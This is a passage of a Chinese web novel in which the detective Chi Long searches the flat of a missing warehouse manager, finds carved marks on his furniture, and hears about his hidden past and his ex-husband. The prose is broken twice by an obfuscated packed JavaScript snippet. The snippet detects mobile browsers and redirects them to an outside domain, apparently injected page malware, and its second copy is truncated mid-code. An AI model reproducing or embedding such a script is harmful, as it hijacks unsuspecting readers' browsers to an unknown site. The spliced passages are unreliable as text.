多年管理着如此面积厂区的人早就不会轻易落泪,所以李光只是眼里闪闪,他勉强笑了一声,声音有点哽咽,“很多人都不信老吴清白。明明在一起相处那么久,厂区的人知道老吴的过去后,却也不信任他。还不是欺负他跟我和老瑞不一样,他就只愿意当个工人。” “他什么也不说,什么也不讲,我让小青平日看顾着他,没事我也去看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14795027|155610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他,”机器人走过来送上纸巾,却被他轻轻推开,“每次都说没事,什么事也没有,报喜不报忧。” “我其实应该知道他没有看上去那么轻松的,不然怎么会把自己隔绝在这个世界之外呢?”突然手掌捂住了双眼,李光声音沙哑不稳,呼吸沉重,“还是我对他的关心太少,让他被人陷害。” 池泷坐在沙发上手足无措,对面的人明显已经陷入了自责,她不知道该说什么,就是下意识张张嘴,却意外听见自己的声音:“就算真遇到什么事,他也不会想让你们担心。” 办公室突然静了一下,李光把手从眼上拿开,池泷看到他眼中果然通红一片。 他站起身,从办公桌的抽屉里拿出一把钥匙递给池泷,声音沉闷:“这是老吴家的备用钥匙,那里星警查过很多遍早就解禁了。他平日就家厂两点一线,偶尔去超市买点东西。” 池泷点点头,接过钥匙,背起包就要往外走,到门口时,突然听见李光在后面说了一句:“都年纪不小了……还不知道不跟我们说才会更加担心。” 抿抿嘴唇,池泷离开了办公室。 走到大厅时,却发现李青已经在等候了,看见池泷出来,她露出恰到好处的笑容,不热情也不虚假,说道:“池小姐还没吃饭吧?不好意思,叔叔虽然临时有事不能陪你吃饭了,但刚才就吩咐我在宾馆订好餐食,我送你过去。” 坐上熟悉的飞艇,池泷看着李青的背影,脑海里突然浮现一句话:你叔瞒着你的事还挺多的。 李青将池泷送到宾馆餐厅就走了,临走时给池泷留了光脑号,表示这几天在亚硫城有任何问题都可以找她。 吃了一顿丰富的午餐,回到房间休息的池泷打开光脑,尹霄的消息率先蹦了出来:“到了吗池姐?一切顺利?” 以往外出做委托时,一般有事才会相互联系,池泷忍不住笑笑,自己倒是没觉得受到什么影响,但估计尹霄和白簇还是有点不安。 而且这俩人结伴回家一般都会忙得不行,这又不是池泷第一次接个人委托,她只觉得既感动又无奈,语音回了一句:“一切都好,不要担心。” 紧接着一张图片发来,图片里是白簇的左手,比了个数字六的手势。 池泷估摸着意思应该是“有事抓紧联系我。” 于是她也拍了一张右手比OK的手势图发了回去。 做完这些,池泷看着三人的聊天框,不知道为什么突然想到了自己离开厂区时李光的那句话。 想着三人的关系,还有阿瑞纳和李光痛苦自责的心情,她手指忍不住拨弄着光脑上挂着的压缩包,一时间她有些怀疑自己瞒着好友的那个决定是否正确。 但是自责痛苦也好、悲伤难过也好,时间久了总能接受吧? 最重要的是,怎么也比丢了性命要好。 两种想法不断地在脑子中冲撞,烦躁的池泷干脆翻身拿被子把自己蒙住,不一会儿就沉沉睡去。 再次睁眼已经是第二天,池泷躺在床上缓了一会儿,一时间不太明白自己怎么能睡这么久。 洗漱完,早餐刚好送到了门口,服务人员说是昨天送自己来的那位alpha女士交代的。 心中微微震惊,池泷在服务人员进来布置餐桌的间隙,瞥了眼光脑,李青并没有发来任何消息,似乎真的在等着自己找她。 但池泷并不打算找人帮忙,她还是更习惯自己的事情自己做。 于是吃过早饭,池泷就出发前往吴天语的家中。 本来她是打算去厂区仓库看看“案发地”的,可昨天李青和李光的话打消了她的念头,星警如此重视这次案件,连吴天语家都翻了个底朝天,想必监控森严的仓库更是不遑多让。 那去哪儿都无所谓了。 昨天知道的信息,让池泷暂时对这次的委托不再抱有太大希望,只是阿瑞纳和李光的反应,让她好奇这件事到最后会变成什么样子。 24.第23章 由于各种产业集聚在这里,亚硫城内交通便利,城内外物流交运也十分发达。 坐在公共小型飞艇上,池泷发现,可能是央星过于繁华,往日在央星不是特别出挑的TS公司写字楼,在这座城里应该是最高的存在了,总是很轻易地就能看到它。 到达吴天语住所楼下,池泷心中还是有一些吃惊的。 怎么说也是酿酒店的三位创始人之一,吴天语竟然住在这样一座看起来就年岁长久、需要修缮的二十层小楼中。 贴满五花八门动态小广告的墙壁和电梯,出了电梯门后仅有两户,公共走廊里,仅仅用初代拟阳灯和呼呼作响的拟风机,来弥补没窗的遗憾。 她突然对昨天李光关于吴天语的描述有了更深的认识。 一眼就能看出右边那户是吴天语家,因为和门口放着“天天开心”的自动清洁地垫、门框挂着“家和万事兴”门帘的对门相比,空旷得连老鼠路过都会留下脚印的吴天语家,门口一片“干净”。 习惯了双重识别智能门锁的池泷,在把自动变形钥匙插入门锁后,还愣了一下,突然想起还得轻轻扭一圈儿门才能开。 开门后也没响起智能家居主脑的欢迎词,一片安静。 不仅仅是听不见吵闹的安静。 不知道是因为星警将大多数东西作为证据带走了,还是本来这里就没有什么东西,站在过道的池泷很轻易就将整个房子收入眼底。 青蓝色钢丝编制的双人沙发上放了纯黑的棉布坐垫和靠背,右边的扶手已经露出反光的银白内里,估计是有人常在这里坐着的缘故。 扶手旁边有一张折叠收纳的小型移动桌子,坐在沙发上时,脚可以放在前面起皮的脚凳上,还能随时抽出桌板,在身前放点东西。 沙发左边是一个普通的落地灯和客厅的方窗,烟青窗帘此刻完全拉开,耀眼的阳光照进客厅,将这里唯一格格不入的东西照得格外闪耀——柜子中央有一台市面上最新型号的星视。 和一般人不同的是,房屋里北面的房间反而放着一张钢丝床和一个木制衣柜,南面房间被改造成一间书房,两面墙壁全被书架填满,上面花花绿绿的书脊让人眼前迷乱,厕所里老旧的马桶、淋浴上有难以清除的水痕,一支牙刷牙膏、一个剃须刀、一根毛巾。 除此以外,再无其他。 他就像一个不知道从哪里拿来一些破烂的流浪汉,小心翼翼地偷偷蜗居在这个不属于他的房子里,不敢留下过多痕迹,仿佛有一天真正的主人回家,他只需要抱起那台星视从窗户偷溜就行。 这个不算大却异常空旷的、没有厨房的房子内外,好像找不到一丝人气。 寂静得可怕。 好在可能因为星警前几次的搜查,这里的东西被人翻找过后,却没被完全恢复原样,略微歪斜的脚凳和书桌上随意扔着的几本书,似乎让这里染了一点生机。 这种感觉让池泷不自觉皱眉,明明没有人,她却小心地慢慢走近房内。明明家居简单清晰,却让她无从下手,她随意翻了翻沙发坐垫,又去看了看那台特殊的星视。 “开机。”池泷轻声说,但星视并未像广告里说的那样打开。池泷又伸手去开灯,但灯却亮了。 难道坏掉了?很快这样的想法就被否决。 现在的人大多使用光脑全系投屏,多功能一体化,可以同时满足立体观看、购买、交互等多种需求,导致只具有平面观看功能的星视一度停产。 只有贴心的TS公司为了满足少数群体的需要,还是坚持继续生产售卖星视。 只不过可能因为这个项目持续亏钱,导致星视的改进和更迭速度都很慢,仅仅这种单调的语音开机功能,就已经是光脑十几年前的技术了。 尽管如此,这个系列的星视上市也才不足三月,而且这台看上去很新,应该被保护得很好,无论是软件还是硬件方面,出现问题的机率都很小。 于是池泷忍不住上手拿住那台星视,一边仔细观察一边摸索着。 她曾经也想给擎叔买一台,为此她还特地学习了那些对她来说十分复杂的操作手册,所以对它还算了解。 细细查看了连接线、屏幕边缘等各种容易出问题的地方,并没有什么有用的发现。 突然不断摸索的手感受到了一丝异样。 大概是在星视底部,稍微偏后的一个地方,有一处奇怪的凹凸,像什么线条。 将星视翻过来,果然在底部刻着一个小小的图案,池泷凑近看了看,很快就看出这里被人划了一个五角星。 然后池泷又将这台机器的每一处都探索了一下,除了这个五角星外,没有任何不一样的地方。 这是一个随手的标记?池泷将星视放回原位,从各个角度看都很难看到五角星,因为它不仅小而且位置也够隐蔽,除非有人能跟自己一样把这个机器处处都细细摸个遍。 难道有什么别的意义?她有些想不通,但仅仅一个小图案并不能说明什么,万一只是做个标记以防丢失呢。 将这个事记在心里,池泷觉得或许应该回去问问李光,说不定他会知道。 继续探索为数不多的房间。 吴天语的卧室和池泷料想的一样清冷,因为北边多阴少阳,房间难免带着阴冷,衣柜里只有几件工作服和一身运动装,洁白的床上三件套有点起毛,床铺因为被翻过所以也有些凌乱。 都没宾馆的房间好。 最后,是南边向阳、一般人大多会作为主卧的书房。 金灿灿的阳光透过窗户落在书桌上,将桌面上不同颜色的笔和桌角的花瓶也染得灿烂,桌边枯萎的叶茎,说明这里曾经或许摆放过一只美丽的花朵。 池泷走近桌子,闻到一股清漆的味道,看着桌面上两个明显的凹痕,她推测主人在这里的时间是远远长于客厅的。 站在桌后,池泷随便抬头,正好能透过窗户看见不远处郁郁葱葱围着的一个地方,应该是一座公园,明镜般的人工湖闪闪发亮,可以想象春日里窗户打开,微风拂面时在这里读书有多么惬意。 书架上的书五花八门、千经百道,有科幻、有写实,有诗歌、有小说,池泷随意翻开桌子上的书籍,发现主人用不同颜色的笔里面做了标记。 诗歌的第一段中,有几处用翠绿的笔在旁边画圈标注,自传的倒数第二段结尾又画了深绿的脚标……只是做了标记,吴天语并没有在旁边写下什么,看起来仅仅是把自己喜欢的语句字词做了一个记号。 虽然吴天语看起来很喜欢读书,可在整理图书上却没怎么用心,不同类型、不同风格的书随意摆放在书架上,池泷的手指划过一本本新旧不一的书脊,最终回归到书桌上。 把手肘放入两处明显的凹陷里,池泷假装自己是正在读书的吴天语,抬头时发现人工湖旁,种着一团显眼的绛紫花丛。 景色真的好看。 将书桌的抽屉一一打开,里面什么也没有。 没什么线索啊……池泷苦恼地趴在桌子上,双腿不断打开并拢,速度越来越快。 没几次右腿膝盖就“砰”地一声撞在书桌侧面。 沉浸在思考中的池泷瞬间惊醒,赶忙低头查看。 虽然自己不疼,但别把人的家具撞坏了啊。 没有明显的裂痕,池泷伸出手指敲了敲,声音浑厚,应该是没什么问题。 她缓缓把退出准备起身,缩头的时候意外发现桌子侧面的角落里刻着什么东西。 干脆整个人滑到桌子底下,池泷仔细看了看,发现这里刻着两个小图案,是一个三角形和五角星。 “这么爱给家具刻标吗?”得好笑,她顺手摸了摸眼前的凳子,真的在后腿内侧发现一个小小的倒三角。 从桌下钻出来,池泷沉吟,她有点不太懂,明明通过私密的卧室,只会让人觉得他在自家房子中的“借住感”更加明显,她甚至有点理解李光所说的“隔绝在世界之外”是什么意思了。 但在看到书房时,池泷又有些不确定了。 明明李青说吴天语平日并没有什么爱好,可是他会耐心用不同颜色给喜欢的词句做上的标注。池泷随手从书架上取下几本书,里面都有不同颜色的不同标记。 这么看,可能是每一本书里都做了标记。 甚至,他还会给自己的家具也做上标记,并不像卧室和客厅表现出来的那样“厌世”。 充满奇异的矛盾感。 离开吴天语家,池泷准备去厂区看看他平日工作的地方,顺带问问李光关于标记的事。 想什么来什么,在楼下,池泷遇到了李青。 这位alpha女士今天穿着胸前绣着“酿酒店”的工服,看起来比昨天精神,但笑起来眉眼间的纹路到底还是说明她不符合年龄的苍老。 “不是跟踪,是叔叔说昨天没有招待你觉得过意不去,就派我来接你,可是去了酒店你不在,”笑意盈盈,李青温声细语,平叙事实,“怕扰到你,我也不敢贸然联系,就自作主张等在这儿了。” 不知道是不是因为对方看起来十分坦诚,池泷倒也没觉得有什么反感和不适,只是好奇:“万一我没在这里呢?” “叔叔说昨天给了你钥匙,”将飞艇通道打开,李青比了个“请”的动作,“不在厂区,一般只能在这里了。” 飞艇内早已放好小点心,座椅铺上了软和的垫子,凉风却徐徐吹拂,舱内温度达到了舒适的平衡。 坐在飞艇里的池泷感慨,要不李光能掌控这么大的产业呢,从昨天见到李家叔侄开始,两人说话办事都有礼妥帖,不让人反感。 望着上来后李青给自己端来的这杯白水,早已口渴的池泷笑了一声,拿起水来,心想,确实自己也不爱喝那些奇奇怪怪的饮料。 到达厂区后,秘书告诉两人,李光刚才有事出去了,估摸午饭时就能回来,闲着没事,池泷向李青提出想去吴天语的工作场所看看。 “当然可以。” 跟在李青后面,池泷看着一个个路过他们的工友都热情地跟李青打招呼,熟稔一些的还搂着她的肩头,邀请她下班后去家中喝酒,池泷再次感慨她的好人缘。 “都是一起工作的,时间久了就熟了,”一连串招呼下来的李青额头竟有点出汗,她用手擦了擦,“谁家有点事儿大伙都来帮忙,有时候感觉像一家人。” “嗯,应该的。”想起李光那天说的话,池泷随意应和了一句。 到达吴天语的办公室,这里只有一套陈旧的办公桌椅、一个装满材料的掉色柜子和几台设备,连盆绿植都没有,意料之外的,也没有书。 只是进屋没多久,门口就有一个人探头进来,看见李青的一瞬间眼睛亮了一下,“小青你在这儿真是太好了,仓库那边正要换自动门锁,你快来看看。” “哎!”李青慌忙摆手,“我又不懂这些东西,你们自己装就行,去了也帮不上什么忙。”话刚说完,探头的工友就整个儿进门来,将人拽走了。 临走时,李青还要交待些什么:“池小姐,那我……” “光脑发通讯就行。”笑眯眯地摆摆手,池泷真心实意地送走了她。 说不上为什么,池泷不太想让李青知道她接下来要做的事,多亏她极好的人缘,给自己留出了空间。 于是——池泷把屋内所有家具都摸了一遍,又把柜子里的材料看了一遍。 结果就是,除了办公文件和在柜子里发现一些胡乱涂画的纸张,没发现任何标记。 要说这不是自己的东西,不做标记倒也合情合理,可总是两点一线的吴天语,工厂基本就相当于第二个家了吧。 办公桌的一个小桌角应该是被什么碰撞掉了,池泷摸摸早不扎手的截面,心中开始好奇,原来他不会随便就标记什么使用很久的东西,那选择标准是什么呢? 再次翻了一遍这里,实在是找不出什么了,池泷出门随便抓住一个工人询问仓库在哪里,对方很热情地表示可以带她去。 这是一位性格开朗的beta年轻男性,看起来二十刚出头,在前面带路的时候他不停地在跟池泷介绍厂区的各处,“那边是清洗间,所有原材料在变成酒之前都必须经过清洗,卫生嘛。” 透过巨大的透明玻璃,池泷看到不同的原材料在不停的流水线上被长长的机械臂反复清洗,它们大多数是池泷见过的那种红色花朵,还有水果和小麦等。 偌大的车间没有人,顶部飞着几个监工机器人。 “接着是酿酒部,这里禁止参观,因为涉及一定的机密哦。”说着他还将手指放在嘴边,做了一个噤声的手势,“我们大多数的工人也都在这里。” 酿酒部只有一扇可同时通过两人的小门,上面有各种探测仪和主脑,池泷经过的时候,门上显示出“无权限进入”的字样。 看着对方仍在喋喋不休,池泷不禁感叹:“你真的好喜欢这里啊。” “不光我,我们所有人都喜欢这里,”这位工人和善地笑着,“不管是老板还是同事,大家都很和善,尤其我们一起做工嘛,相处时间久了更像一家人。” 他开玩笑道:“跟工友们在一起的时间甚至比家人还长得多呢!” “那吴天语呢?”池泷问,“他不跟你们一起吗?我看他的办公室里只有一套桌椅,连同事也没有吗?他不是主管吗?” “这……”年轻beta尴尬地笑着,“吴工他不太喜欢被人打扰,所以仓管那边一般只有他一个人。” 说着,他又嫌弃地“啧”了一声,然后继续说:“可能就是因为没有人监督,才做坏事,搞得大家上班都不安稳,这不仓库那边把门锁都换了,以后也不需要有人专门锁门了。” “你们那么确信是他干的?”看着这位刚说完“工友是家人”的年轻人,池泷好奇。 “不是我们信,星警都那么说了啊,”他双手一摊,表示无辜,“而且我听说,当然只是听说哈,本来吴工能像李经理他们那样事业有成、家庭合睦的。可当年他犯了事,不知道什么事,但多亏李经理和阿瑞纳老板才勉强不用坐牢的。” “他有前科。”年轻beta先伸出手指比了个“一”,然后又伸出一根手指比了个“二”,说:“再说,他老是一个人,不管是谁跟他打招呼,还是问些事什么的,他只会阴沉沉看着你,偶尔蹦几个字回复。老板和经理又总是很忙,除了小青姐谁敢跟他交往啊,这不就有作案空间了嘛。” 然后他比了个“三”,“最重要的是,他管仓库!谁能比他更了解仓库呢,手里还有钥匙!” 说完他放下手,脸上一片唏嘘,“搞不懂老板他们怎么想的,就算是发小,也不能随便把仓库交给这样一个人吧,不过换句话说,老板他们对吴工那么好,他还做这样的事,真是不懂感恩呢。” “李青跟他关系很好吗?”听他絮叨了这么多,倒是验证了李光的说法,不过好像在其他人眼里,李青比李光跟吴天语更加亲近。 “当然很——好!”年轻beta瞪大眼睛,夸张的样子让池泷觉得自己好像问了一个很蠢的问题,“小青姐就像吴工的女儿一样,平日里吃穿住行都是她照应着,经常帮吴工做一些书面材料什么的。有时下班后啊、周末啊、过节什么的还会带着小溪去他家里,亲女儿不过如此了吧。” 说着,他又委顿下去,带着丝对李青的同情说:“所以小青姐知道这件事的时候,差点没站稳摔在地上,虽然没哭,但是那个笑,比哭还难看,这两天看小青姐又老了不少。” 接着他双手合十放在胸前,“希望小溪晚点知道这件事吧,不然他该多伤心啊,刚刚好转没多久的身体可受不了这种折腾。” 说话间,仓库到了,年轻beta放下双手,高兴地说了一句“成功送达,那我走了”就要离开。 池泷没忍住问:“你知道我是谁吗,就敢跟我说这么多。” “你是老板请来抓坏人的雇佣兵啊,他们都这么说。”年轻beta一脸无所谓,“当然也有说你是侦探的,”他上下打量池泷,然后笑出声:“不过看你这样,倒是跟学生一样,嗯……还是像侦探多点吧。” 然后摆摆手,离开了。 留在原地的池泷默默想道,果然有人的地方就会有八卦,看来在这个厂区很难藏住什么秘密呢。 看到池泷突然过来,李青也依旧很高兴的样子。 她从一堆人里费劲往外走,池泷见状忙说:“我没啥事,只是来这里看看,你先忙。” “不忙不忙,我在这里也帮不上什么,公司派了专业人员过来安装,大家都在这凑个热闹。”终于挤出人群的李青笑着摆手,然后将池泷带往仓库。 池泷经过人群时向其中看了一眼,确实看到几个穿着不同衣服的人正站在仓库门口,戴着虚拟眼镜操控着什么。 这种眼镜现在普遍应用于娱乐、工作、生活等各个方面,它和肉眼难以看见的机器人合作,通过指挥它们,可以大幅度提高使用者的参与感,或者让某些工作更加便利明了。 比如这次安装门锁,这种精密高保设备安装的全貌和每一处细节,都可以使用者的眼前随时切换。更有利于操控机器人工作,保证门锁顺利更换和使用。 当然操作越流畅、越能看清细节的眼镜越贵,池泷看到他们胸前“TS”的字样,估计他们戴的眼镜绝不便宜。 “大公司的工作人员真的很厉害,不仅能安装这么复杂的设备,这些虚拟眼镜也都是他们自己研究出来的。”听见李青艳羡的语气,池泷看向她,发现她双眼亮晶晶地盯着门口。 察觉到池泷的目光,她就很快就将脸转到一边,继续引导池泷走进仓库。 “TS公司的门槛高得很,”接着李青的话,池泷说道,“所以里面的人都是高精尖。” 得很厉害的人才能进去啊,池泷心想,反正擎晴不够格,可能得更优秀吧,比如军校机械系第一什么的。 想到这,池泷愣了一下,不知道自己为什么回想起林息,还没反应过来,就被李青的一句“是啊,很厉害”打断。 这样的温和笑意和随意语气,池泷觉得很熟悉。 她想了想,于是问道:“你很喜欢这些科技设备吗?” 虽然李青是在夸赞技术人员,但池泷觉得她敷衍的回复和眼中的闪光,不像是在羡慕那些人,倒是在看他们穿戴的设备。 李青连忙摆手,快速说道:“哪敢,我不太懂这些东西的。” 哦,池泷心下了然,只是不太懂,可没说不喜欢。 进入仓库,眼前的景象让池泷惊叹。 进来后,池泷和李青直接站在了仓库的二层通道上,脚下是一个有军校操场两倍多大小的仓储空间。 一个个大型运输机器人负责运送各种货物出入库,而灵活的装卸机器人通过变换高矮和托手,上下左右地运输和装卸,有些地方的货物堆积过高,则由许多飞行机器人搬运。 它们有条不紊,各司其职,动线流畅。 “这些路线都是提前设定好的?”虽然使用机器人在固定空间实现高效工作常见得很,但在这么大面积的地方让如此大量机器人如此听话高效,这种技术绝对复杂。 “是,”李青点点头,“都是请TS公司来设计的,花了不少钱”。 她用手指指仓库顶部的几个位置,“这里的监控也都是他们家的,万一有问题可以实时监控、远程操作,避免更大的损失。” 说完,她轻轻一顿,然后轻声说:“就是监控需要定期维护,只不过这件事之前,这里也从来没出过什么乱子就是了。” 这么看来,这个仓库的安全系数和自动化程度也很高了。 “一般情况下,因为仓库布局不变,所以动线也不需要调整,” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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但还没出门李青又被同事捉走了,理由是“新设车间的名牌需要李青帮忙题名。” 李青仍旧谦虚推让,但那位同事以“书法和美术造诣比我们可高上许多”强行把她拉走了,甚至来不及跟池泷再客套一下。 于是池泷独自呆在李光办公室里等他过来,家政机器人未经询问就给她端了一杯温水,但她在看到机器人胸前“TS”的标志时,又觉得能造出这么会察言观色的机器人也合乎常理。 没多久,李光才回来,他接过家政机器人送上的毛巾,一边擦手一边招呼:“小青没跟你过来?” 听到池泷说她被抓走题字的事后,他又笑着,带着一点骄傲:“她从小有天赋,这里很多地方都是她设计勾画的,我这地方的门牌名称、车间的标语,哦!甚至门口的公司名也是。” 这下池泷反而震惊了。 “要不是她那对不成器的父母,”李光唏嘘,“小青的本事还不止于此呢。” 涉及到李青的隐私,池泷就没再详探。她此次过来,更想知道吴天语在家具上做标记的事。 “什么?”没想到李光一脸不解,“做标记?没听说过他还有这种习惯呢?” “会不会是为了表明所有权或者……收藏?”想起在星视对比下灰扑扑的陈旧家具,池泷个人认为第二种可能性不大。 果然,李光无奈地笑了一声,摇摇头说:“不可能,他哪有那种心思,而且那些家具哪值什么钱?都是楼下回收垃圾那里捡的。” “你见过他家了吧?”听见这话,池泷点点头。 “那就是了,屋子不大,却让他住得没个人气儿,”说到这,李光忍不住叹了口气,“你说他一个月工资也不少,就是存着不花,除了买个星视,别的能省就省。” “那这么多年,也该存下不少了。”皱起眉头,池泷有些疑惑,还是那句话,吴天语偷酒的意义在哪里呢? “本应该是这样,”李光挪开眼神,看上去似乎在犹豫什么,他走到池泷对面坐下,没几秒,又叹了口气,接着道:“反正星警也去过了,我就跟你说说。” “老吴有过丈夫,只是两人后来分开了,”想到过去,李光再次深深叹气,“他的收入,估计是都给了洛熙,洛熙当年因为生育落下了病根,身体一直不好。” 端起水杯喝了一口,池泷静待下文。 “朴哥跟你说过,我们仨年轻时候都是混不吝的白目,”苦笑了两声,李光脸上没有改邪归正的轻松,“我们一个村的,年少相识,阿瑞纳和我都是光棍,但洛熙是老吴的青梅竹马,不顾家里人反对,两人早早结了婚,。” “当时年轻,觉得做些危险下作的事来钱快还威风,就一直吊儿郎当地混着街头帮派,从认识开始,老吴就不爱说话,办事也磨叽,大多数情况下一直是我俩的跟班。” 说到这,李光顿了一下,他先询问池泷是否介意他抽根烟,池泷表示没事,他就指挥家政机器人将他放在柜子里的烟取来。 “后来帮派找人做事,偏偏找到了最边缘的我,”李光用力搓搓脸,吸了下鼻子,“他俩劝我不要去,可那时候我就以为是老大器重,冲进敌对帮派的交易里,当了替罪羊。” 家政机器人把烟拿了过来,李光点燃一支叼在嘴里,这么亲和儒雅的人,这时候才能看出一点年轻时的流气,他眼眸深沉,缭绕的烟雾里仿佛有说不清的心事。 “关键时候,阿瑞纳和老吴冲出来帮我辩护,敌对帮派说放了我就得要阿瑞纳的一双手。”烟雾让李光的神情变得模糊,“那是他家酿酒手艺的唯一传承,我当时想死的心都有了,但对方好像玩上了瘾,看出我们关系好,反而不准备折磨我,非让他俩代替。” “这时老吴说砍他的一只手一只脚也行,剩一半他还好干活,那群人哄堂大笑。”李光闭了闭眼,好像不忍再看,“直到老吴真的把手脚往那些激光刀上撞,朴哥又恰好赶来,对方老大才叫停。” “那人说,本来那天就是让帮里把上次坏事的人交过来处理,没想到来了我,还顺了俩。”他再次睁开眼,狠狠吸了一口烟,“他说我们老大只是在推人挡刀,看在我们三个有情义的份上,放我们一马。” “本来这事到此为止的,”一根烟燃尽,李光将烟蒂狠狠摁灭,“谁知道帮里有人把这件事告诉了洛熙,洛熙也是黑街出身,只不过早早走了出去。他先托人去找了朴哥,却在后续赶来找老吴的路上被飞艇撞到,还怀着身孕……” “医院里,我第一次见老吴那么沉默,沉默得像即将爆发的火山,而我们三个,呵,”李光满脸讽刺地哼了一声,声音发紧,“连治疗押金的一千星币都拿不出来,最基本的医疗仪都用不了。” “当时老吴就冲了出去,不知道找了谁,伤痕累累地回来,手里拿着钱,浑身上下全沾着血,吓死个人,”他深呼一口气,“我们怎么问他也不说,让他去治疗,却发现他早就找人自己打好了绷带,身上的血是没止住的时候淌的。最后没办法,这事儿只能这么过了,治好后老吴一定坚持离婚,洛熙走的时候他一声没吭。” “这事儿没告诉朴哥?”池泷轻轻问道,毕竟她可从没在朴人间那里听到过什么“洛熙”的存在。 “没有,洛熙很特殊,”他又从怀中掏出那块怀表抚摸着,“从我们认识洛熙开始,就答应老吴,不跟任何人讲洛熙。跟洛熙有关的所有事,尤其是那天的事,只有我们三个知道,你是第四个。” 池泷一愣,接着他又说:“星警先查到了洛熙存在,但他们也只能查到他多年前跟老吴有过一段失败的婚姻。” “而我也按照约定,没跟星警讲过一点儿,”李光忽然看向池泷,目光锐利,“星警的目的是找到飞燕,他们不在乎老吴的死活,洛熙不一样。” “那件事之后,阿瑞纳和我跟洛熙彻底失联,”说完,李光从口袋里拿出一张纸条,“但他前几天担心地找到我,询问老吴的下落,我们才知道原来老吴还跟他有些联系。可是三个月前,老吴就没再给洛熙生活费了。” 三个月?!池泷震惊,她拿过纸条,上面写着一个地址和光脑号,她忍不住皱眉,一个月前吴天语请假,但其实三个月前就已经不再支付前夫生活费。 假定吴天语就是李光他们说得那样,那他三个月前说不定就已经失踪了。 那请假是怎么回事?监控照常又是怎么回事? “很抱歉,因为没有洛熙的同意,一开始我没办法告诉你他的存在,”池泷张嘴想说没事,却被李光打断,“其实,就算洛熙同意,如果老吴知道了,也一定会生气我们不遵守诺言。” 眼睁睁看着李光捂住眼睛,颤抖的嘴角带着无奈的自嘲,“可是,私心里,老吴对我们更重要。洛熙也是担心他的安危才会联系我们吧,他那里或许有新的线索,因此我们一直无耻地请求他和你交谈一次。” “老吴和我们不一样,他做所有事的初衷仅仅是想赚钱。为了赚钱,他做过各种体力活,混帮派只是其中一个。”放下手掌,李光倾身,朝池泷更近了些,池泷看着他,那双一直盛着笑意的眼里此刻隐约布满晶莹。 “那间小房子,是他十几年前和洛熙约好以后赚钱就要买的,书房里的东西都是洛熙和他在一起时购置的,其余剩下的,不过都是他为弥补愧疚而必须存在的基本用品罢了。” “他不为自己而活着。”说到这,李光伸手,手上躺着那块怀表,“所以我们能做的,只是在有限的范围内,拜托你找到他,哪怕不是活人,就算只是一块怀表。” “这件事……洛熙也应允了。” 李光的手紧紧攥住那块怀表。 池泷无法想象,当他们知道这件事时,摇摆在约定和情感之间的战栗与纠结,发现好友或许早已失踪的自责和担忧,不能诉诸的线索,最后陷入深深的无力,演变成不为人知的苦楚。 幸好洛熙主动联系了他。 “好,”不知道为什么,池泷的心被狠狠撞了一下,她听见自己说,“我去找他。” 25.第24章 今天的池泷,还是没跟李光一起吃饭。 离开办公室,她并不打算直接前往洛熙那里,暂时需要静静。 拒绝李青要带她用餐的好意后,在无人商店买了一瓶白水,便开始在亚硫城里漫无目的地闲逛。 城内到处都是红花,别的城市绿化带里种的那些不同种类的花草,几乎全被红花替代。 梦幻的气味虽淡,但扛不住花数量太多,味道还算浓烈,让池泷有些发飘,又有些难受。 也可能是饿的,池泷摸摸瘪下去的肚子,想起自己还没吃中午饭,又不想过多等待,就在路边随便找了个看起来很冷清的餐馆坐下。 好在餐馆能够有效隔绝大部分红花的味道。 服务员是一位年轻靓丽的beta女性,看起来年岁很小,似乎是个学生,简洁的白衬衣和深灰西装裤也显得足够清新。 虽然环境令人满意,但池泷一直轻微皱眉看向窗外。见此,服务员一脸了然地说道:“您是外地来的吧?” “是。”池泷点头,随即有些好奇,“我既没点餐也没说话,你怎么知道的?”她扯扯自己的背包,毕竟一般人出门不会背这么“实用”的包。 “不是包的关系,每个人背包都有自己的选择,这没法判断,”年轻beta将一杯柠檬水放在池泷身前,然后递上菜单,“只有外地刚来的有些人闻不惯红花的味道,甚至严重的还会反胃,不像我们早习惯了。” “原来如此,”池泷笑着点点头,开始看菜单,“不过你们这儿还挺好的,没什么味道。” “那是因为我们老板也很讨厌红花,虽然他是本地人。”对方不好意思地笑笑,“反正每个人对红花的反应不同,大多数都还挺喜欢的。但我们老板就算了,他一个alpha还挺固执,宁可冒着生意不好的危险也不愿意在店里放红花。” “我也不是很喜欢,但没到这种地步。”池泷点了几个菜,在服务员记录的时候,她看着窗外,突然好奇,“以前也没听说过亚硫城有这么多红花啊。” 对方不在意地摆摆手,“以前压根儿就没有,但您也知道,我们这儿靠近未知区域,各种辐射导致生态环境复杂混乱,好多植物在这里都难以生长的。” 看到池泷一脸求知地转头看向自己,服务员开始有点“为人师”的得意,她跟池泷说:“我也是听人说,两年前外头来了个商人,带了红花种子,一开始只种在自己别墅外头,没想到那么好养,也不用过多打理,随便撒一把就能自己长大。” 虽然对这个听起来不靠谱的故事表示怀疑,但池泷还是点点头,鼓励对方继续讲:“然后就被城政府发现了,加上它味道很……怎么说呢,很缥缈吧,好多人都挺喜欢的,就推广了。” “这都快泛滥了,”池泷开玩笑,看向窗外占据着室内室外的红花,看起来也没有什么特殊之处,没想到生命力那么顽强。 “一开始政府也想控制一下的,”服务员抠抠脸,“可没想到一年多前,酿酒店突然开始研制推广红花酒,原料需求量高,给我们这儿的一些农民带来不少收入,渐渐地,很多人也开始种植这个。而且也有人建议,干脆把城市打造成‘红花城’,说不定会有更多人来旅游啥的。” 看着窗外络绎不绝的人群,池泷感慨这个想法倒确实效果不错。 “可不是也有人不喜欢吗?”她问道。 “那毕竟还是少数,比如像我们老板这样专制的家伙,导致我们餐馆都没人来,”beta夸张地叹了口气,“但我们的饭菜很好吃的,你尝尝就知道了。” 